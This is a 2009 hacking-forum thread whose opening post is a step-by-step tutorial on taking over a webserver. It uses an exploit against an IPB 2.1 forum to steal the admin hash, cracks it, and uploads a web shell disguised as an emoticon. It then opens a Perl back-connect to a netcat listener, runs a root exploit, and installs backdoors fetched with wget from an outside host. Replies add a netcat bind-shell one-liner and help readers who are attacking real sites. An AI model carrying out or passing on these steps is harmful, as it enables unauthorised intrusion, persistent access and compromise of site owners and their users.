Thread: [\[TUT\]Exploiting and Rooting a Webserver COMPLETE Guide - PICS INCLUDED \[TUT\]](#)

The 7th Sage - November 27, 2009, 2:51 am

Exploiting and Rooting a Webserver from

Scratch Complete Tutorial

Intro:

Hey guys this is The 7th Sage and for todays tutorial we shall learn how to

exploit and root a webserver also gaining future access. The tutorial is most likely to be divided in three parts.

- 1) Gaining Admin Access.
- 2) Uploading The Shell
- 3) Using the Shell to Gain Root Access

Hacking a Forum Admin using Exploit to Gain

Admin Access - Part 1

As said earlier i'm going to exploit ipb v2.1 forum here. You can hack other forums too using exploits or making own exploits (which is rare :P)

Tools Needed:

This has the shell and backdoor files along with MD5 HashCracking tool and some other things.

Download:

Code <http://depositfiles.com/files/9juskrtax>

Gaining Admin Access.

For today i will be hacking an ipb 2.1 forum by gaining admin access and then I will show you how to root the server.

First i will be using a perl exploit and gain admin access to the forum. Usually the admin id is 1 maybe 0 or 2 sometimes.

Here it is this guy:

UserName: Kawool
UserId = 2

Next we extract the user hash and salt. Switch to cmd and execute the perl exploit.

[img]http://img163.imageshack.us/img163/3986/13230167.jpg[/img]

Then you should see this sql injection tool.

Change the forum index path, userid (of the admin), the table name.

[img]http://img8.imageshack.us/img8/1192/59925653.jpg[/img]

After you click get data from database you should see this hash:

[img]http://i46.[censored].com/2iqI3ex.jpg[/img]

Then use converage pass salt option.

[img]http://i48.[censored].com/2yuk7cg.jpg[/img]

After you get the hash the next step to do is crack the salted hash. Since it is ipb , cracking the hash will be a pain for sure.

Cracking the Hash:

I have provided passwords pro in the download above. It is a very efficient tool to crack md5 hashes, even salted ones.

[img]http://i47.[censored].com/vwu8ud.jpg[/img]

Now probably go to sleep or drink 4-5 cup of tea until the hash is cracked.

I got mine after sometime.

[img]http://i46.[censored].com/317a8tf.jpg[/img]

So now

Code Username: Kawool

Password: *****

I'm gonna login as admin now ^^; Lets move on to the main part of gaining root access.

Uploading The Shell as Admin - Part 2

Uploading a Shell:

Now that we have the admin access in our hand now is the part when we upload a shell (For those who don't know what a shell is, It is a php script that gives privileges to upload files on a website, mess with other files etc. And yeah allows to gain root access too).

Uploading shell as smiley here.

In the ACP Go to Look and Feel -> Emoticon Manager -> Upload the shell file as smiley.

[img]http://i48.[censored].com/x3vfuw.jpg[/img]

Now lets browse our shell shall we..

[img]http://i45.[censored].com/vzdnb5.jpg[/img]

w00t we has the shell uploaded properly. Next upload a c99 shell from this shell. Why we did this is because c99 shells can be detected somwetimes. So the other shell is like a decoy.

Once its done we upload c99 shell.

[img]http://i45.[censored].com/2d1x0uh.jpg[/img]

Good shell was uploaded properly.

[img]http://i49.[censored].com/m5vza.jpg[/img]

That does it for our 2nd part. Move on to Third.
Using the Shell to Gain Root Access - Part 3

Now that we have all the shit ready for rooting lets upload a backconnect script. There are many and if one doesn't work usually the other does.

So i upload back.pl i provided in the file.

[img]http://i47.[censored].com/rlgoqo.jpg[/img]

After thats done time to use the script.

For this we give the following code.

Code perl back.pl youripaddress

[img]http://i47.[censored].com/2qvyyx4n.jpg[/img]

BEFORE we execute the script we need to start netcat and start listening to conenctions on port 2121.

use netcat from my downloadfile, and use the command:

Code nc -vv -l -p 2121

You should see something like this

[img]http://i50.[censored].com/6s6us6.jpg[/img]

Next we shall upload an exploit that will let us obtain root status on the server :)

[img]http://i46.[censored].com/214wq3m.jpg[/img]

Time to execute it.

[img]http://i47.[censored].com/15x8g1j.jpg[/img]

Now we upload a backdoor for future access.

Type in the following command

Code wget www.revitalizemessage.com/xpl/sshdoor.tgz (or whatever ur link is)

[img]http://i47.[censored].com/9i9xdk.jpg[/img]

Now the following command.

Code tar -zxvf sshdoor.tgz

Then we make sshdoor the current directory using this code..

Code cd sshdoor

Then

Code cat README

after you see the window with sang and prabu name. Execute the command

Code `.install yourpassword 2121`

After thats done, we connect to the server via putty.

[img]http://i50.[censored].com/ibayw9.jpg[/img]

Err an Epic Fail has occured my friends.

[img]http://i46.[censored].com/142hv09.jpg[/img]

Maybe the host blocked the port, nmap scan revealed it. Oh well we upload another backdoor quickly. You don't always win :D (actually hackers do O_O).

Now we upload xbind.c this should be over quickly. Remember the steps don't you?:D

Indeed its easy.

[img]http://i49.[censored].com/17detv.jpg[/img]

Compile the xbind.c using gcc compiler. (be sure to type `cd..` and be in the correct directory to work with the script).

Code `gcc -o xbind xbind.c`

Compile, run and connect.

Paste the following code now

Code `./xbind 1985`

Switch to netcat again. and run the connection code (`nc vv blah blha blah`) to the ip.

Now enter teh password and get going.

Code `uname -a`

[img]http://i50.[censored].com/29wv9yb.jpg[/img]

There you go, we now have future access to the server :)

That does it for our Rooting Server tutorial which will be "tltr" for some people. Gaining root access is a pain but its worth the reward. So now that you read this tut, please comment :D

Hope to bring more tuts in near future ^^;

Credits:

Main Credits go To Neutralise who had a similar vid and provided the backdoor files. I took some tips and some screenies from him.

Last but not the least HF members who pm me to write more tuts ^^;

Also if you are gonna rip the tutorial you are free to do so, provided you put proper credits.

The Lounge - November 27, 2009, 3:03 am

holy shit ur a pro..nice tut
why are u doing this to me
i thought i was doing really well in hacking..
and now i gotta read all that stuff

Spoiler ([Click to View](#))FUFUFUFUFUFUFUFU!!

Spoiler ([Click to View](#))??

DDR - November 27, 2009, 3:14 am

Have you actually tried doing this The 7th Sage?

This exploit is very old and I presume finding vulnerable sites would be quite a task. I remember last time I tried, I don't think I found any at all. Maybe I didn't look hard enough ?

The 7th Sage - November 27, 2009, 3:19 am

(Nov 27, 2009 04:14 AM)DDR Wrote: ([CITE](#)) Have you actually tried doing this The 7th Sage?

I tried thats why i posted the pics lol :p This was just an example to get admin access. You can try other things.

soulstoler - November 27, 2009, 4:21 am

Really good tutorial. Keep it up ?

rul3z_br3ak3r - November 27, 2009, 4:25 am

gud job bro... by d way dis was actually made by Neutralise of h4cky0u.org. Even i got the video tutorial of the same. This is by no means to flame u, correct me if i m wrong. But than too gud job buddy

The 7th Sage - November 27, 2009, 4:29 am

(Nov 27, 2009 05:25 AM)rul3z_br3ak3r Wrote: ([CITE](#)) gud job bro... by d way dis was actually made by Neutralise of h4cky0u.org. Even i got the video tutorial of the same. This is by no means to flame u, correct me if i m wrong. But than too gud job buddy
you are correct. Thats why i credited him.

TyTN - November 27, 2009, 4:47 am

Holy shit, nice tutorial!

~TyTN

MisterDeepRot - November 27, 2009, 4:51 am

Nice, only tutorial I've ever seen that goes into great detail like that - should be easy to follow.
THANKS!

VipVince - November 27, 2009, 4:54 am

Nice tut,wish there was more tut's like this on HF.

1luv - November 27, 2009, 5:26 am

This is one of the best TuT's I've read. I'm a newb and I should be able to root a server following those steps.

VipVince - November 27, 2009, 5:30 am

(Nov 27, 2009 06:26 AM)1luv Wrote: [\[CITE\]](#) This is one of the best TuT's I've read. I'm a newb and I should be able to root a server following those steps.

But some times initiative and a certain way of thinking cannot be learned through reading a tutorial...

The 7th Sage - November 27, 2009, 5:34 am

(Nov 27, 2009 06:30 AM)VipVince Wrote: [\[CITE\]](#) But some times initiative and a certain way of thinking cannot be learned through reading a tutorial...

Indeed. Hacking is an art, thats how i see it. Being One-Dimensional will get you nowhere.

flAmingw0rm - November 27, 2009, 5:53 am

Awesome tutorial broh, keep up the good work. :)

imAcarrot - November 27, 2009, 6:02 am

nice tutorial...! good job! ?

The 7th Sage - November 27, 2009, 7:37 am

Glad you liked it. ?

niels8500 - November 27, 2009, 7:50 am

I don't know how i exucate the perl command at the begin

The 7th Sage - November 27, 2009, 7:57 am

it is

Code perl exploit.pl

niels8500 - November 27, 2009, 8:51 am

dont understand - *

Big Smoke - November 27, 2009, 9:00 am

I´m completely a noob for rooting a forum, but does the shell always work for every forum to get access to root ?

niels8500 - November 27, 2009, 12:41 pm

Can anyone help me -

Xinapse - November 27, 2009, 1:35 pm

omg this is SUCH a nice tutorial!

The 7th Sage - November 27, 2009, 9:30 pm

(Nov 27, 2009 01:41 PM)niels8500 Wrote: [\[CITE\]](#) Can anyone help me -

Yes any help you need post here, instead of pming me ^^

Mongoose - November 27, 2009, 11:28 pm

Super sexy [TUT] great UT mate its simply great

Hyper-x - November 27, 2009, 11:38 pm

looks like a good tut...i will finish reading it in the morning

niels8500 - November 28, 2009, 5:00 am

How can i do the perl part?

The 7th Sage - November 28, 2009, 6:57 am

really don't get you. Do you know how to execute perl exploit? It is easy

just write perl then exploitname.pl

nazariy - November 28, 2009, 7:25 am

Any updates on days exploits, this one I believe is very old.

Moscow - November 28, 2009, 11:28 pm

whoah!!!

dis is prolly da best tut i've seen so far!! ^^

nice bro..

keep it!!!

XD

niels8500 - November 29, 2009, 3:55 am

It don't seems to work on windows 7

Noodlebox - November 29, 2009, 4:07 am

Everytime I try to execute "perl back.pl (Ip) (Port)" it doesn't connect to my netcat. I've checked multiple times to see if the port was blocked or not forwarded but it was forwarded. Any help is appreciated

The 7th Sage - November 29, 2009, 6:07 am

(Nov 29, 2009 05:07 AM)Noodlebox Wrote: [\[CITE\]](#) Everytime I try to execute "perl back.pl (Ip) (Port)" it doesn't connect to my netcat. I've checked multiple times to see if the port was blocked or not forwarded but it was forwarded. Any help is appreciated

Must be router problem. Happens sometimes. Try another site.

(Nov 29, 2009 04:55 AM)niels8500 Wrote: [\[CITE\]](#) It don't seems to work on windows 7
Sure it does lol.

n3xus - November 29, 2009, 6:28 am

This tutorial is not without merit, not bad actually. It is oriented to windows users, like most of the "rooting" tuts around here. My advice is to get linux or unix and familiarize yourself with that as well. Using backconnect is a bad idea. Instead, it is better to install a bind backdoor, or set one up using netcat.

On the box your hacking:

Code nc -v -l -p 1337 -e /bin/sh

Than you can simply

Code nc x.x.x.x 1337

from your own terminal and nc should says its using stream socket, so you can now type

commands. This is unencrypted of course, so you might choose cryptcat. Another option is setting up a remote shell using NR in ssh.

And public web exploits suck, you won't find many untouched targets that way.

The 7th Sage - November 29, 2009, 6:28 am

(Nov 29, 2009 07:25 AM)n3xus Wrote: [\[CITE\]](#) This tutorial is not without merit, not bad actually. It is oriented to windows users, like most of the "rooting" tuts around here. And public web exploits suck, you won't find many untouched targets that way.

Thanks for the info. As far as the exploit in the tut is concerned it was just used for the purpose of gaining admin access. People should find their own way to gain admin access and do the rest from the tut.

n3xus - November 29, 2009, 6:29 am

Yeah, I feel backconnection like

Code perl back.pl youripaddress
Is a bad idea. NC can at least serve up a rudimentary shell.

El Patron - December 5, 2009, 11:27 am

can you tell us more about the perl exploit?? i'm allready stuck on that move.

Ethical Vox - December 5, 2009, 11:38 am

Whoa now thats a 5 star tut great job!

H3x0S - December 5, 2009, 3:24 pm

Very well written tutorial ?

joshpk - December 5, 2009, 5:06 pm

Im stuck at the part where you do

Quote:perl back.pl IP PORT

i got ports forwarded, i unblocked on firewall and it says listening to 2121

I execute the command then after a long time I get

Quote:--== ConnectBack Backdoor Shell EDITED BY XORON TURK?SH HACKER ==--

[-] Unable to Connect Host

Gonna try mulci2's back connect

Codeine - December 6, 2009, 9:32 pm

do i need to port forward the 2121 port

The 7th Sage - December 6, 2009, 10:12 pm

(Dec 6, 2009 10:32 PM)!Biohazard! Wrote: [\[CITE\]](#) do i need to port forward the 2121 port
yes of course.

Funkdafied - December 6, 2009, 10:33 pm

NICE TUT DUDE, Keep em coming.

Xanaros - December 8, 2009, 1:35 am

I've tried this on 3 different shells, (different webservers)

I know that my port is open because port checking websites can connect to it

any ideas on why it isn't working

muz3 - December 9, 2009, 8:36 am

very good tutorial :)

gonna try it some day :)

Str33t.HaCkEr - December 9, 2009, 9:16 am

Very Nice Tut, Good Job !

FirstClassHacker - December 9, 2009, 3:18 pm

Thanks! Great tut! Uhm.. Is this a salt? b4e0b7182b2a12c23b7b57c15cd7a0ec ??

thats what i got on coverage pass salt.

The 7th Sage - December 9, 2009, 9:40 pm

No its and md5 afaik.

3 X P L O I T - December 10, 2009, 1:46 am

WoW, nice TuT anyways it helped me alot i tried an newb site with this and it worked atleast now i know how it gos and how to use other exploits. thank you bro ;)

joshpk - December 10, 2009, 8:22 pm

I've tried getting root on like 3 sites, but i always get stuck at the shell part, I try to back connect but it never shows up on netcat, it has only worked on one site and i lost access to it because I had to go to sleep so I didn't have time to get a correct exploit, but the others haven't worked when I try the shell loads and says Unable to connect, I have made sure the port is open with a port checking site, and my firewall is allowing the port. I am using a port that is open on the site im trying to get root on.

please help

Rikly - December 11, 2009, 2:00 am

wow this is fantastic, thx a lot brother!

DAiLOS - December 11, 2009, 2:05 pm

Nice one .well detailed tuto

keep it up !!

The End Gamer - December 11, 2009, 2:15 pm

That's an Awesome Tutorial Man
Great Job Dude!! ;)

pushl %ebp - December 11, 2009, 2:34 pm

Nice tutorial. I have been looking for this for ages...

nati_niz - December 15, 2009, 3:01 pm

Hey can any one please tell how to open the file called 2.2.0pl ?

I dont know what to do, i didnt find it and didnt understand very well your english language...

Goku12205 - December 19, 2009, 1:46 am

very good tutorial on rooting and exploiting

darkneo089 - December 19, 2009, 5:00 am

good tutorial but the 2.2.0.pl thingy is not on the rar file D:

ViT0 - December 19, 2009, 7:52 am

thanks for the explanation of what is on the video

Wanttolearn - December 19, 2009, 8:32 am

Very informative tut. Nice job

Joler1302 - December 21, 2009, 5:59 am

1 prob the local.pl (root exploit) is for cpanel... this server am trying to root doesnt have cpanel...

Amazing Guy - December 21, 2009, 6:21 am

Good tutorial, thanks!

ruler123 - December 21, 2009, 11:35 am

Im sick and tired of people giving this guy credit for ripping a video i saw on another forums... Its a joke he didnt even attempt this hack he even ripped the user admin that the guy on the video hacked.. pure rip if i still had the video i would upload it but i dont

The 7th Sage - December 21, 2009, 8:09 pm

I gave him credits you disrespectful cunt.

Soul Snatcher™©® - December 21, 2009, 8:15 pm

Nice tutorial, thanks.

Raykoid666 - December 23, 2009, 6:33 pm

(Dec 21, 2009 06:59 AM)joler1302 Wrote: [\[CITE\]](#) 1 prob the local.pl (root exploit) is for cpanel... this server am trying to root doesnt have cpanel...

same here

DeIC - December 23, 2009, 6:56 pm

Great tut man. i just uploaded my atlantiq shell.

DopeFantastic - January 1, 2010, 12:06 am

I can't find the first part in the folder -.-

\$weet - January 1, 2010, 12:17 am

This is sweet dude! nice tutorial

DopeFantastic - January 1, 2010, 1:08 am

How do I do the 2.2.0pl thing, I don't get that part.

The Sharable Prince - January 1, 2010, 2:20 am

wooooooooooooooooooooo very easy to follow. thank you!! you are legend now

MooseHide - January 3, 2010, 5:02 pm

Awesome tut

Expecting more from you

-x(F-O-X)x- - January 5, 2010, 2:17 am

Great!!!!

Detail & easy to understand..

Great thank 4 you lol??

Oper - January 5, 2010, 8:07 pm

THat's good.. :O Compliments from italy.. :)

LordExeon - January 6, 2010, 4:22 pm

i Wish to Congratulate on a well done Tutorial, people have a tendency to put in to much infromation and lose an Unexperianced reader, you did a great job with the comments and the pictures, well done and thanks alot, would be nice to see more tutorials from you :D,

but i do fear that you make the world a dangerous place learning "dumbasses" like us how to do awesome things ;P

hazard74 - January 15, 2010, 11:03 pm

wow tha man!!

2short...

So what??

?wain - January 15, 2010, 11:04 pm

awesome tut looks like you put in alot of effort

sayer - January 15, 2010, 11:15 pm

Thanks verry much and you

c0rupt3d_l0l - May 7, 2010, 1:46 am

v nice tut but its not working for me :[i cant get the databases the forum is using ipb 1.3? and spam 2.1?

godasgard - May 23, 2010, 6:43 pm

does this work using rfi instead?

!!!! - May 23, 2010, 10:41 pm

Great job dude,Thanks

TOOOOOOOOOOOOOOOOOOOOOOOOOOO SHOOOOOOOOOOOOOOOORT

kulshoks2121 - May 24, 2010, 7:09 am

Great i gotta try this for security purposes!

MarV™ - May 24, 2010, 8:48 am

very nice tutorial , keep up the good work ?

Suicidal Thoughts - May 24, 2010, 10:33 pm

Man a fucking beautiful tut.

Thnx for this

DarkPHP - May 24, 2010, 11:28 pm

yes very very nice tut good for people that need more knowledge with shell's and exploiting :D

Shahrukh - May 25, 2010, 8:25 am

That is awesome.....Very nice..Gud work...

Chris.. - June 3, 2010, 6:21 am

Nice Tutorila bro ill try this later

Spoiler ([Click to View](#)) i bookmarked this page

daneuchar - June 3, 2010, 12:20 pm

THis is one amazing tut..! thanx a lot sage!

BreatheHeavy - June 3, 2010, 1:43 pm

Thanks for the tut! I'll be trying this.

praful12 - June 4, 2010, 9:16 am

in you first image , what is 2.2.0pl??

when i write the same command in cmd it displays an error...

what should i do?? i m not able to get the window as shown in image 2..

plzz help!!!

Montana" - June 4, 2010, 9:44 am

Very nice tutorial and helpfull.

Thanks for sharing!

Oxidium - June 11, 2010, 7:02 pm

I've got netcat listening on 2121 but when I attempt to back connect from the shell the shell tells me it's unable to connect to host. Any help?

Struggle - June 11, 2010, 8:29 pm

Great tutorial, thanks for the share.

axmetmcl - June 11, 2010, 10:45 pm

very very good tut bro. thx for share

Montana" - June 11, 2010, 11:10 pm

Great tutorial, only takes long to find vulnerable website.
Thanks for sharing.

SIM-135152 - June 11, 2010, 11:13 pm

Oh My God !!!!
you are the best member on hack forums
thanks you so much

hahaha.lol - June 12, 2010, 3:31 am

Nice Tutorial..Can You Upload a Video besides this..which can be a better proof that it works properly.

Thanks!

Novatic - June 13, 2010, 4:02 pm

When i upload shell.php it tells me its not a valid format... PM me if u wanna help me :/

eXeSoul™ - June 13, 2010, 9:38 pm

now a days in most of servers gcc will not work.!

permission denied .!!

lu1chy - June 28, 2010, 9:21 pm

I just re-posted this on accident- my bad bro - on hf hahaha - this site has everything - now I am fixing it lol - But Wicked Wicked tutorial 7th sage - Great work!

noid - September 17, 2010, 1:01 am

Nice, only tutorial I've ever seen that goes into great detail like that - should be easy to follow.
THANKS!

noid - September 17, 2010, 10:53 pm

Really good tutorial. Keep it up :)

Sub-Zero96 - September 18, 2010, 2:27 pm

Nice ;) i think you will get lots of reps for this ... 1337 :P

Telhast - November 4, 2010, 12:03 pm

Could you update the post . Images have been deleted or moved . This is still in demand my friend .
Your tutorials are always in demand . :-)

bigiboro - November 11, 2010, 9:17 am

Update Pictures Please ! :)

Zpirit - November 11, 2010, 9:35 am

I just bookmarked this, thanks its awesome.

Sh3llc0d3 - November 11, 2010, 10:43 am

(Nov 11, 2010 10:17 AM)bigiboro Wrote: [\[CITE\]](#) Update Pictures Please ! :)

Completely agree... this is an amazing tut, it'd be a shame for new members to loose out on the pics too. It's probably down to [censored] f**k up the other day.

The 7th Sage - November 11, 2010, 7:31 pm

I don't have the pics anymore, this tut is one year old :(

null_trace18 - December 2, 2010, 7:04 pm

Is there any chance in the future of you updating the pictures? ?

axmetmcl - December 2, 2010, 10:10 pm

could you renew pictures? its really good tut.

The 7th Sage - December 3, 2010, 3:09 am

(Dec 2, 2010 08:04 PM)null_trace18 Wrote: [\[CITE\]](#) Is there any chance in the future of you updating the pictures? ?

Not really, I don't mess with this kind of shit anymore xd

Karvane - December 3, 2010, 6:18 am

Can you atleast tell me something about the lost pictures? Whats the nc.exe for?

Well, either way it's a really nice tutorial, good job on it. I might make one myself in the future with pictures and everything. Do you mind if I do? I know this method and I've used it before, but pictures will really help n00bs, and stop them from asking questions.

martin.Mike - December 7, 2010, 1:28 am

i wanna learn this too if any1 have t his i can` t see picture or any video tut on this???

I_killed_Kenny - December 7, 2010, 6:32 am

can you please reupload the pictures??

I dont know if you noticed but The 7th Sage account is closed

Hexen - December 31, 2010, 12:15 am

Hmmmm... Images are all mostly dead think god I have a good ideal how its done.

raamee - December 31, 2010, 12:26 am

Thats why, I posted a thread not to use tinypics. Now all are suffering and tut also became less quality. After thread owner comes, he will update this thread. Btw, there must be a sticky here saying that " Tut making people should not use [censored]".

MILÃn97 - May 23, 2011, 3:56 pm

Plss, update pictures... Plss

soul_ninja - June 17, 2011, 4:43 pm

im sorry to this, but please please update pics, this tutorial is amazing :)

yair25m - June 18, 2011, 11:15 pm

pls re-up the pictures

thanks!

Jones. - June 19, 2011, 5:11 am

Good tutorial, but it is low quality without any pictures.

Can anyone re-write this?

shah555 - *July 16, 2011, 5:07 am*

Need massdeface.pl plz help mee
